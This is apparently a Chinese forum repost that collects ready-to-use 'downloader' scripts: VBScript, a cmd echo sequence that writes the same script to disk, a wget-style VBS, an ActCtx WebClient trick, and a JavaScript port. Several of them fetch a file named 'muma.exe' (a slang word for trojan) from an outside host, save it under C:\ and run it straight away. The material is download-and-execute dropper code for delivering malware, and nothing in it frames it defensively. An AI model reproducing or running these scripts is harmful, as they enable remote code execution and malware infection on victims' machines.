|
转载备份
vbs版本
- 一、VBS下载者:
- Set Post = CreateObject("Msxml2.XMLHTTP")
- Set Shell = CreateObject("Wscript.Shell")
- Post.Open "GET","http://www.chinabaiker.com/muma.exe",0
- Post.Send()
- Set aGet = CreateObject("ADODB.Stream")
- aGet.Mode = 3
- aGet.Type = 1
- aGet.Open()
- aGet.Write(Post.responseBody)
- aGet.SaveToFile "c:\zl.exe",2
- wscript.sleep 1000
- Shell.Run ("c:\zl.exe") '延迟过后执行下载文件
- 二、cmd下执行的版本:
- echo Set Post = CreateObject("Msxml2.XMLHTTP") >>zl.vbs
- echo Set Shell = CreateObject("Wscript.Shell") >>zl.vbs
- echo Post.Open "GET","http://www.chinabaiker.com/muma.exe",0 >>zl.vbs
- echo Post.Send() >>zl.vbs
- echo Set aGet = CreateObject("ADODB.Stream") >>zl.vbs
- echo aGet.Mode = 3 >>zl.vbs
- echo aGet.Type = 1 >>zl.vbs
- echo aGet.Open() >>zl.vbs
- echo aGet.Write(Post.responseBody) >>zl.vbs
- echo aGet.SaveToFile "c:\zl.exe",2 >>zl.vbs
- echo wscript.sleep 1000 >>zl.vbs
- echo Shell.Run ("c:\zl.exe") >>zl.vbs
- 三、wget.vbs
- on error resume next
- iLocal=LCase(Wscript.Arguments(1))
- iRemote=LCase(Wscript.Arguments(0))
- iUser=LCase(Wscript.Arguments(2))
- iPass=LCase(Wscript.Arguments(3))
- set xPost=CreateObject("Microsoft.XMLHTTP")
- if iUser="" and iPass="" then
- xPost.Open "GET",iRemote,0
- else
- xPost.Open "GET",iRemote,0,iUser,iPass
- end if
- xPost.Send()
- set sGet=CreateObject("ADODB.Stream")
- sGet.Mode=3
- sGet.Type=1
- sGet.Open()
- sGet.Write xPost.ResponseBody
- sGet.SaveToFile iLocal,2
- 使用方法:cscript wget.vbs http://www.chinabaiker.com/muma.exe
复制代码
- manifest = "<?xml version=""1.0"" encoding=""UTF-16"" standalone=""yes""?>"
- manifest = manifest &"<assembly manifestVersion=""1.0"" xmlns=""urn:schemas-microsoft-com:asm.v1"">"
- manifest = manifest &"<assemblyIdentity name=""System"" version=""4.0.0.0"" publicKeyToken=""B77A5C561934E089"" />"
- manifest = manifest &"<clrClass clsid=""{7D458845-B4B8-30CB-B2AD-FC4960FCDF81}"" progid=""System.Net.WebClient"" threadingModel=""Both"" name=""System.Net.WebClient"" runtimeVersion=""v4.0.30319"" /></assembly>"
- set ax = CreateObject("Microsoft.Windows.ActCtx")
- ax.ManifestText = manifest
- Set sNetClient = ax.CreateObject("System.Net.WebClient")
- webstuff = sNetClient.DownloadFile("http://www.chinabaiker.com/calc.exe","C:\Users\Jumbo\Desktop\calc.exe")
- wsh.echo webstuff
复制代码
js版本- 作者:lcx
- 来源:vbs小铺
- //将常用的vbs下载者改成js版了。本来想用jsc.exe编译,可是不成功。jsc.exe不认WScript
- //use: cscript this.js http://www.xxx.com/xxx.exe c:\xxx.exe
- var objArgs = WScript.Arguments;
- var sGet=new ActiveXObject("ADODB.Stream");
- var xGet = false;
- try {
- xGet = new XMLHttpRequest();
- }
- catch (trymicrosoft) {
- try {
- xGet = new ActiveXObject("Msxml2.XMLHTTP");
- }
- catch (othermicrosoft) {
- try {
- xGet = new ActiveXObject("Microsoft.XMLHTTP");
- }
- catch (failed) {
- xGet = false;
- }
- }
- }
- xGet.Open ("GET",objArgs(0).toLowerCase(),0);
- xGet.Send();
- sGet.Mode=3;
- sGet.Type=1;
- sGet.Open();
- sGet.Write (xGet.ResponseBody);
- sGet.SaveToFile (objArgs(1).toLowerCase(),2);
复制代码
|
|